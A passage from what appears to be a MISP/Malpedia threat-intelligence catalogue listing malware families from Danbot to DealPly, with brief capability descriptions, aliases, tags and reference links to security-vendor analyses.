https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor
https://security-soup.net/decoding-a-danabot-downloader/
https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf
https://www.welivesecurity.com/2019/02/07/danabot-updated-new-cc-communication/
https://www.proofpoint.com/us/blog/threat-insight/new-year-new-version-danabot
https://blog.lexfo.fr/danabot-malware.html
https://www.mandiant.com/resources/supply-chain-node-js
https://www.proofpoint.com/us/threat-insight/post/danabot-gains-popularity-and-targets-us-organizations-large-campaigns
https://twitter.com/f0wlsec/status/1459892481760411649
https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0
https://assets.virustotal.com/reports/2021trends.pdf

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://blogs.blackberry.com/en/2021/11/threat-thursday-danabot-malware-as-a-service
https://www.bitdefender.com/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.fortinet.com/blog/threat-research/breakdown-of-a-targeted-danabot-attack.html
https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/
https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/
https://malverse.it/costruiamo-un-config-extractor-per-danabot-parte-1
https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf
https://asert.arbornetworks.com/danabots-travels-a-global-perspective/
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://asec.ahnlab.com/en/30445/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://www.proofpoint.com/us/threat-insight/post/danabot-control-panel-revealed
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.welivesecurity.com/2018/12/06/danabot-evolves-beyond-banking-trojan-new-spam/
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://www.gdatasoftware.com/blog/2019/05/31695-strange-bits-smuggling-malware-github
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://blog.yoroi.company/research/dissecting-the-danabot-paylaod-targeting-italy/
https://www.trustwave.com/Resources/SpiderLabs-Blog/DanaBot-Riding-Fake-MYOB-Invoice-Emails/
https://malwareandstuff.com/deobfuscating-danabots-api-hashing/
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

danbot

Danbot is a backdoor malware that is originally written in C#. Recent versions of Danbot are written in C++. Danbot is capable of giving a remote attacker remote access features such as running a cmd command, upload and download files, move and copy files. The backdoor commands are transmitted by either using HTTP or DNS protocols. The commands are encapsulated in an XML file that gets stored in disk. Danbot's backdoor component picks up the XML file where it decodes and decrypts the commands.

The tag is: *misp-galaxy:malpedia="danbot"*

danbot is also known as:

Table 1987. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.danbot
https://cyberx-labs.com/blog/deep-dive-into-the-lyceum-danbot-malware/
https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf
https://dragos.com/wp-content/uploads/Dragos-Oil-and-Gas-Threat-Perspective-2019.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-lyceum
https://www.youtube.com/watch?v=FttiysUZmDw
https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf
https://otx.alienvault.com/pulse/5d4301edb3f3406ac01acc0f

DarkComet

DarkComet is one of the most famous RATs, developed by Jean-Pierre Lesueur in 2008. After being used in the Syrian civil war in 2011, Lesuer decided to stop developing the trojan. Indeed, DarkComet is able to enable control over a compromised system through use of a simple graphic user interface. Experts think that this user friendliness is the key of its mass success.

The tag is: *misp-galaxy:malpedia="DarkComet"*

DarkComet is also known as:

- Breut
- Fynloski
- klovbot

Table 1988. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcomet
https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.DarkComet
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/
https://blog.malwarebytes.com/threat-analysis/2012/10/dark-comet-2-electric-boogaloo/
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://content.fireeye.com/apt/rpt-apt38
https://www.secureworks.com/research/threat-profiles/copper-fieldstone

https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf
https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html
https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/
https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html
http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html
https://www.secureworks.com/research/threat-profiles/aluminum-saratoga
https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html
https://www.tgsoft.it/files/report/download.asp?id=7481257469
https://www.sysnet.ucsd.edu/sysnet/miscpapers/darkmatter-www20.pdf
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

DarkEye

The tag is: *misp-galaxy:malpedia="DarkEye"*

DarkEye is also known as:

Table 1989. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkeye
https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed

DarkIRC

The tag is: *misp-galaxy:malpedia="DarkIRC"*

DarkIRC is also known as:

Table 1990. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkirc
https://blogs.juniper.net/en-us/threat-research/darkirc-bot-exploits-oracle-weblogic-vulnerability

DarkLoader

The tag is: *misp-galaxy:malpedia="DarkLoader"*

DarkLoader is also known as:

Table 1991. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkloader
https://twitter.com/3xp0rtblog/status/1459081435361517585

DarkMe

The tag is: *misp-galaxy:malpedia="DarkMe"*

DarkMe is also known as:

Table 1992. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkme
http://blog.nsfocus.net/darkcasino-apt-evilnum/

DarkMegi

The tag is: *misp-galaxy:malpedia="DarkMegi"*

DarkMegi is also known as:

Table 1993. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi
http://contagiodump.blogspot.com/2012/04/this-is-darkmegie-rootkit-sample-kindly.html
http://stopmalvertising.com/rootkits/analysis-of-darkmegi-aka-npcdark.html

Darkmoon

The tag is: *misp-galaxy:malpedia="Darkmoon"*

Darkmoon is also known as:

- Chymine

Table 1994. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmoon
http://contagiodump.blogspot.com/2010/01/jan-17-trojan-darkmoonb-exe-haiti.html

https://www.f-secure.com/v-descs/trojan-downloader_w32_chymine_a.shtml
http://contagiodump.blogspot.com/2010/07/cve-2010-2568-keylogger-win32chyminea.html

DarkPulsar

The tag is: *misp-galaxy:malpedia="DarkPulsar"*

DarkPulsar is also known as:

Table 1995. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpulsar
https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/

DarkRat

The tag is: *misp-galaxy:malpedia="DarkRat"*

DarkRat is also known as:

Table 1996. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkrat
https://github.com/albertzsigovits/malware-writeups/blob/master/DarkRATv2/README.md
https://fr3d.hk/blog/darkrat-hacking-a-malware-control-panel

DarkShell

DarkShell is a DDoS bot seemingly of Chinese origin, discovered in 2011. During 2011, DarkShell was reported to target the industrial food processing industry.

The tag is: *misp-galaxy:malpedia="DarkShell"*

DarkShell is also known as:

Table 1997. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkshell
https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/darkshell-ddos-botnet-evolves-with-variants/

DarkSide (Windows)

FireEye describes DARKSIDE as a ransomware written in C and configurable to target files whether on fixed, removable disks, or network shares. The malware can be customized by the affiliates to create a build for specific victims.

The tag is: *misp-galaxy:malpedia="DarkSide (Windows)"*

DarkSide (Windows) is also known as:

- BlackMatter

Table 1998. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkside
https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/
https://www.metabaseq.com/recursos/inside-darkside-the-ransomware-that-attacked-colonial-pipeline#
https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html
https://zawadidone.nl/2020/10/05/darkside-ransomware-analysis.html
https://www.dragos.com/blog/industry-news/recommendations-following-the-colonial-pipeline-cyber-attack/
https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/
https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/
https://www.secjuice.com/blue-team-detection-darkside-ransomware/
https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/
https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/
https://www.nozominetworks.com/blog/colonial-pipeline-ransomware-attack-revealing-how-darkside-works/
https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/
https://www.ic3.gov/Media/News/2021/211101.pdf
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.repubblica.it/economia/finanza/2021/04/28/news/un_sospetto_attacco_telematico_blocca_le_filiali_della_bcc_di_roma-298485827/
https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin
http://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/
https://www.secureworks.com/research/threat-profiles/gold-waterfall
https://www.youtube.com/watch?v=NIiEcOryLpI
https://id-ransomware.blogspot.com/2020/08/darkside-ransomware.html
https://brandefense.io/darkside-ransomware-analysis-report/
https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks
https://www.varonis.com/blog/darkside-ransomware/
https://www.intel471.com/blog/darkside-ransomware-colonial-pipeline-attack
https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/
https://blog.360totalsecurity.com/en/darksides-targeted-ransomware-analysis-report-for-critical-u-s-infrastructure-2/
https://www.digitalshadows.com/blog-and-research/darkside-the-new-ransomware-group-behind-highly-targeted-attacks/
https://www.fortinet.com/blog/threat-research/newly-discovered-function-in-darkside-ransomware-variant-targets-disk-partitions
https://www.advanced-intel.com/post/from-dawn-to-silent-night-darkside-ransomware-initial-attack-vector-evolution
https://www.bleepingcomputer.com/news/security/darkside-ransomware-gang-returns-as-new-blackmatter-operation/
https://threatpost.com/guess-fashion-data-loss-ransomware/167754/
https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf
https://zawadidone.nl/darkside-ransomware-analysis/
https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://www.reuters.com/technology/colonial-pipeline-halts-all-pipeline-operations-after-cybersecurity-attack-2021-05-08/
https://therecord.media/popular-hacking-forum-bans-ransomware-ads/

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.bleepingcomputer.com/news/security/us-chemical-distributor-shares-info-on-darkside-ransomware-data-theft/
https://www.acronis.com/en-us/articles/darkside-ransomware/
https://unit42.paloaltonetworks.com/darkside-ransomware/
https://www.trendmicro.com/en_us/research/21/e/what-we-know-about-darkside-ransomware-and-the-us-pipeline-attac.html
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://www.bleepingcomputer.com/news/security/darkside-ransomware-is-creating-a-secure-data-leak-service-in-iran/
https://cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/
https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/
https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/
https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/
https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections
https://twitter.com/GelosSnake/status/1451465959894667275
https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://community.riskiq.com/article/fdf74f23
https://twitter.com/sysopfb/status/1422280887274639375
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware
https://www.bloomberg.com/news/articles/2021-05-13/colonial-pipeline-paid-hackers-nearly-5-million-in-ransom
https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/
https://www.deepinstinct.com/2021/06/04/the-ransomware-conundrum-a-look-into-darkside/
https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/
https://blog.group-ib.com/blackmatter2
https://blog.cyble.com/2021/08/05/blackmatter-under-the-lens-an-emerging-ransomware-group-looking-for-affiliates/

https://id-ransomware.blogspot.com/2021/07/blackmatter-ransomware.html
https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636
https://news.sophos.com/en-us/2021/05/11/a-defenders-view-inside-a-darkside-ransomware-attack/
https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://www.glimps.fr/lockbit3-0/
https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2021/05/18/darkside_ransomware-QfsV.html
https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/
https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/
http://ti.dbappsecurity.com.cn/blog/index.php/2021/05/10/darkside/
https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html
https://www.nozominetworks.com/blog/how-to-analyze-malware-for-technical-writing/
https://www.splunk.com/en_us/blog/security/the-darkside-of-the-ransomware-pipeline.html
https://therecord.media/ransomware-gang-wants-to-short-the-stock-price-of-their-victims/
https://github.com/Haxrein/Malware-Analysis-Reports/blob/main/darkside_ransomware_technical_analysis_report.pdf
https://twitter.com/JAMESWT_MHT/status/1388301138437578757
https://www.databreachtoday.com/blogs/darkside-ransomware-gang-launches-affiliate-program-p-2968
https://asec.ahnlab.com/en/34549/
https://www.mandiant.com/resources/burrowing-your-way-into-vpns
https://zetter.substack.com/p/anatomy-of-one-of-the-first-darkside
https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/
https://www.sentinelone.com/blog/meet-darkside-and-their-ransomware-sentinelone-customers-protected/
https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/
https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims
https://ghoulsec.medium.com/mal-series-13-darkside-ransomware-c13d893c36a6
https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf
https://securityintelligence.com/posts/darkside-oil-pipeline-ransomware-attack/

https://us-cert.cisa.gov/ncas/analysis-reports/ar21-189a
https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/
https://twitter.com/ValthekOn/status/1422385890467491841?s=20
https://blog.group-ib.com/blackmatter#
https://us-cert.cisa.gov/ncas/alerts/aa21-131a
https://krebsonsecurity.com/2021/05/a-closer-look-at-the-darkside-ransomware-gang/
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted
https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b
https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/
https://labs.bitdefender.com/2021/01/darkside-ransomware-decryption-tool/
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/
https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service
https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group
https://socprime.com/blog/affiliates-vs-hunters-fighting-the-darkside/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/
https://github.com/sisoma2/malware_analysis/tree/master/blackmatter
https://www.bleepingcomputer.com/news/security/darkside-affiliates-claim-gangs-bitcoins-in-deposit-on-hacker-forum/
https://www.databreaches.net/a-chat-with-darkside/

https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://www.youtube.com/watch?v=qxPXxWMI2i4

Darksky

DarkSky is a botnet that is capable of downloading malware, conducting a number of network and application-layer distributed denial-of-service (DDoS) attacks, and detecting and evading security controls, such as sandboxes and virtual machines. It is advertised for sale on the dark web for $20. Much of the malware that DarkSky has available to download onto targeted systems is associated with cryptocurrency-mining activity. The DDoS attacks that DarkSky can perform include DNS amplification attacks, TCP (SYN) flood, UDP flood, and HTTP flood. The botnet can also perform a check to determine whether or not the DDoS attack succeeded and turn infected systems into a SOCKS/HTTP proxy to route traffic to a remote server.

The tag is: *misp-galaxy:malpedia="Darksky"*

Darksky is also known as:

Table 1999. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darksky
https://blog.radware.com/security/2018/02/darksky-botnet/
http://telegra.ph/Analiz-botneta-DarkSky-12-30

DarkStRat

The tag is: *misp-galaxy:malpedia="DarkStRat"*

DarkStRat is also known as:

Table 2000. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkstrat
https://www.welivesecurity.com/2014/11/12/korplug-military-targeted-attacks-afghanistan-tajikistan/

DarkTequila

Dark Tequila is a complex malicious campaign targeting Mexican users, with the primary purpose of stealing financial information, as well as login credentials to popular websites that range from code versioning repositories to public file storage accounts and domain registrars.

The tag is: *misp-galaxy:malpedia="DarkTequila"*

DarkTequila is also known as:

Table 2001. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darktequila
https://securelist.com/dark-tequila-anejo/87528/

DarkTortilla

DarkTortilla is a complex and highly configurable .NET-based crypter that has possibly been active since at least August 2015. It typically delivers popular information stealers and remote access trojans (RATs) such as AgentTesla, AsyncRat, NanoCore, and RedLine. While it appears to primarily deliver commodity malware, Secureworks® Counter Threat Unit™ (CTU) researchers identified DarkTortilla samples delivering targeted payloads such as Cobalt Strike and Metasploit. It can also deliver "addon packages" such as additional malicious payloads, benign decoy documents, and executables. It features robust anti-analysis and anti-tamper controls that can make detection, analysis, and eradication challenging.

From January 2021 through May 2022, an average of 93 unique DarkTortilla samples per week were uploaded to the VirusTotal analysis service. Code similarities suggest possible links between DarkTortilla and other malware: a crypter operated by the RATs Crew threat group, which was active between 2008 and 2012, and the Gameloader malware that emerged in 2021.

The tag is: *misp-galaxy:malpedia="DarkTortilla"*

DarkTortilla is also known as:

Table 2002. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darktortilla
https://www.secureworks.com/research/darktortilla-malware-analysis

Darktrack RAT

DtBackdoor

The tag is: *misp-galaxy:malpedia="Darktrack RAT"*

Darktrack RAT is also known as:

Table 2003. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darktrack_rat
https://www.facebook.com/darktrackrat/

https://nioguard.blogspot.de/2017/05/targeted-attack-against-ukrainian.html
https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf
https://cracked.to/Thread-Release-RAT-Dark-track-alien-4-1
http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml
https://www.tgsoft.it/files/report/download.asp?id=7481257469

DarkVNC

The tag is: *misp-galaxy:malpedia="DarkVNC"*

DarkVNC is also known as:

Table 2004. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc
https://reaqta.com/2017/11/short-journey-darkvnc/
https://isc.sans.edu/diary/rss/28934
https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884

Daserf

The tag is: *misp-galaxy:malpedia="Daserf"*

Daserf is also known as:

- Muirim
- Nioupale

Table 2005. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.daserf
https://www.secureworks.com/research/threat-profiles/bronze-butler
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

DataExfiltrator

The tag is: *misp-galaxy:malpedia="DataExfiltrator"*

DataExfiltrator is also known as:

- FileSender

Table 2006. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.data_exfiltrator
https://blog.reversinglabs.com/blog/data-exfiltrator

Datper

The tag is: *misp-galaxy:malpedia="Datper"*

Datper is also known as:

Table 2007. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.datper
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html
https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf
https://www.macnica.net/mpressioncss/feature_05.html/
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

Daxin

Symantec describes this as a malware written as Windows kernel driver, used by China-linked threat actors. The malware has a custom TCP/IP stack and is capable of hijacking connections.

The tag is: *misp-galaxy:malpedia="Daxin"*

Daxin is also known as:

Table 2008. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.daxin

https://www.reuters.com/technology/new-chinese-hacking-tool-found-spurring-us-warning-allies-2022-02-28/
https://www.nzz.ch/technologie/china-soll-mit-praezedenzloser-malware-regierungen-ausspioniert-haben-ld.1672292
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-malware-espionage-analysis
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage
https://twitter.com/M_haggis/status/1498399791276912640
https://gist.github.com/usualsuspect/839fbc54e0d76bb2626329cd94274cd6
https://www.bleepingcomputer.com/news/security/chinese-cyberspies-target-govts-with-their-most-advanced-backdoor/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage-analysis

DBatLoader

This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.

The tag is: *misp-galaxy:malpedia="DBatLoader"*

DBatLoader is also known as:

- ModiLoader
- NatsoLoader

Table 2009. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader
https://malcat.fr/blog/exploit-steganography-and-delphi-unpacking-dbatloader/
https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html
https://zero2auto.com/2020/08/20/dbatloader-modiloader-first-stage/
https://news.sophos.com/en-us/2020/09/24/email-delivered-modi-rat-attack-pastes-powershell-commands
https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat

DCRat

DCRat is a typical RAT that has been around since at least June 2019.

The tag is: *misp-galaxy:malpedia="DCRat"*

DCRat is also known as:

- DarkCrystal RAT

Table 2010. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://community.riskiq.com/article/50c77491
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf
https://www.youtube.com/watch?v=ElqmQDySy48
https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains
https://blogs.infoblox.com/cyber-threat-intelligence/cyber-campaign-briefs/malspam-campaign-delivers-dark-crystal-rat-dcrat/
https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus
https://cert.gov.ua/article/160530
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html
https://cert.gov.ua/article/405538
https://www.fireeye.com/blog/threat-research/2020/05/analyzing-dark-crystal-rat-backdoor.html
https://www.zscaler.com/blogs/security-research/freecryptoscam-new-cryptocurrency-scam-leads-installation-backdoors-and
https://forensicitguy.github.io/snip3-crypter-dcrat-vbs/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html
https://tccontre.blogspot.com/2019/10/dcrat-malware-evades-sandbox-that-use.html

DCSrv

A ransomware as used by MosesStaff, built around the DiskCryptor tool.

The tag is: *misp-galaxy:malpedia="DCSrv"*

DCSrv is also known as:

- DCrSrv

Table 2011. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dcsrv
https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/

DDKeylogger

The tag is: *misp-galaxy:malpedia="DDKeylogger"*

DDKeylogger is also known as:

Table 2012. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkeylogger
https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators

DDKONG

The tag is: *misp-galaxy:malpedia="DDKONG"*

DDKONG is also known as:

Table 2013. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ddkong
https://unit42.paloaltonetworks.com/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia/
https://www.secureworks.com/research/threat-profiles/bronze-overbrook
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/
https://unit42.paloaltonetworks.com/atoms/rancortaurus/

DEADWOOD

The tag is: *misp-galaxy:malpedia="DEADWOOD"*

DEADWOOD is also known as:

- Agrius
- DETBOSIT
- SQLShred

Table 2014. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.deadwood
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/

DealPly

The tag is: *misp-galaxy:malpedia="DealPly"*

DealPly is also known as:

Table 2015. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dealply
https://securelist.com/threat-in-your-browser-extensions/107181
https://kienmanowar.wordpress.com/2021/05/11/quick-analysis-note-about-dealply-adware/

dearcry

The tag is: *misp-galaxy:malpedia="dearcry"*

